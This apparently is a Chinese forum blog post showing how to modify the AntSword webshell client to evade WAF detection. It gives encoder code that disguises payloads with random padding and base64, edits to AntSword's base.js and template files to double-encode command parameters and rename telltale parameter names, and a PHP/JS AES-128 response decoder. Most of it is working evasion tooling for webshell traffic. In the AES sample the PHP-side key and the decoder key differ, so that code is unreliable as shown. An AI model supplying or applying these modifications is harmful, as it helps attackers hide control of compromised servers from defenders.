1.前言
最近做渗透测试的过程中经常会用到webshell,在前段时间阅读了dalao的"从静态到动态打造一款免杀的antSword(蚁剑)"一文
https://xz.aliyun.com/t/4000
便着手开始跟着文章进行修改。(p.s 虽然冰蝎的加密十分优秀,不过其不开源、返回包不混淆等特点还是略显无趣)
然而,笔者在修改的过程中发现了一些原作者未考虑到的环节,特此提出与大家探讨。若有偏差,纯属本人技术菜鸡。
2.关于请求包混淆
原题主采用自定义编码器的方式进行请求包流量混淆,编码器源码如下:
module.exports = (pwd, data) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let num = Math.floor(Math.random()*15);
let randomStr = `${Math.random().toString(16).substr(num)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
let encry= new Buffer(data['_']).toString('base64');
data['num'] = 15-num;
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = `${randomStr}`+encry+`${randomStr}`;
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
编码器是没问题的,但是在测试的过程中,原文笔者仅通过蚁剑内的测试连接进行测试,而未进行类似于命令执行等功能测试,笔者的测试混淆前后请求包如下两图:
由图可以看出,执行命令数据包比测试包多了两个参数。而那两个参数是不经过编码器的,其参数名和参数值的base64decode值均有可能被识别。
所以,在此基础上,通过了解蚁剑对应的源码文件,找到了以下解决方案来解决对请求包的混淆。(仅限于php)
出来主要参数外,其余两个参数仅仅通过base64编码操作,在antSword-2.1.4\source\core文件夹内的base.js内有该编码操作对应的代码:
作为参考,我把该处加密过程改为双重base64(仅为可行性参考,后期可在对应位置添加其余加密方式作为混淆操作),如下图:
编码位置了解完了,接下来是解码的问题,为了数据传输可被识别,该处编码的修改需被正确解码,此时就需要修改antSword-2.1.4\source\core\php\template文件夹内的js文件了,我们以command.js为例,其余文件均用类似方法修改,如图:
注意,仅需要对通过base64编码后的参数,如图中的arg1/arg2对应post位置进行解码方式修改,在下图filemanager.js对应的方框内的参数只进行了buffer操作未进行base64,则不需要被修改:
修改后的数据包如下图:
可见红框对应的两个参数的值已经过了双重base64的编码处理。并且经测试如果template中的文件修改无误后可得到正确的返回结果了。
接下来对请求包进行最后一步混淆操作,即对参数名进行混淆。在查询资料的过程中,发现许多waf对蚁剑的识别方式为识别0x开头的字符串参数名。若要修改该参数名称,需要修改antSword-2.1.4\source\core\base.js的对应位置,如下图:
即可。
以上则为笔者对于蚁剑请求包的混淆处理方法(具体加密编码流程仅作为示范)。
3.关于返回包混淆
返回包的混淆对应的情况则简单的多,只需要按照蚁剑规范编写相对应的解码器即可。
如下为自带的base64解码器参考:
/**
* php::base64解码器
* Create at: 2019/07/20 20:54:42
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
return Buffer.from(data.toString(), 'base64');
}
}
该解码器主要分为两部分,shell中返回值的编码以及在loader中的解码操作。其中,编码的语法需遵循shell对应语言的语法(此处为php),而解码操作则为蚁剑的jsp语法。
以下给出一个我修改的aes-128解码器代码作为参考:
/**
* php::AES-128-ECB 解码器
* Create at: 2019/05/13 15:43:55
*/
'use strict';
const path = require('path');
var CryptoJS = require(path.join(window.antSword.remote.process.env.AS_WORKDIR, 'node_modules/crypto-js'));
function decryptText(keyStr, text) {
let buff = Buffer.alloc(16, 'a');
buff.write(keyStr,0);
keyStr = buff.toString();
let decodetext = CryptoJS.AES.decrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7,
}).toString(CryptoJS.enc.Utf8);
return decodetext;
}
function encryptText(keyStr, text) {
let buff = Buffer.alloc(16, 'a');
buff.write(keyStr,0);
keyStr = buff.toString();
let encodetext = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7,
}).toString();
return encodetext;
}
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
// 默认是 pkcs7 padding
return `function asenc($out){
@session_start();
$key='f5045b05abe6ec9b1e37fafa851f5de9';
return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
};
`.replace(/\n\s+/g, '');
},
/**
* 解码字符串
* @param {string} data 要被解码的字符串
* @returns {string} 解码后的字符串
*/
decode_str: (data) => {
if(data.length === 0) {
return data;
}
let keyStr = '1111111111111111';
let ret = decryptText(keyStr, data);
return Buffer.from(ret, 'base64').toString();
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data) => {
if(data.length === 0) {
return data;
}
let keyStr ='1111111111111111';
let ret = decryptText(keyStr, Buffer.from(data).toString());
return Buffer.from(ret, 'base64');
}
}
以上则为本文全部内容。水平不高请见谅。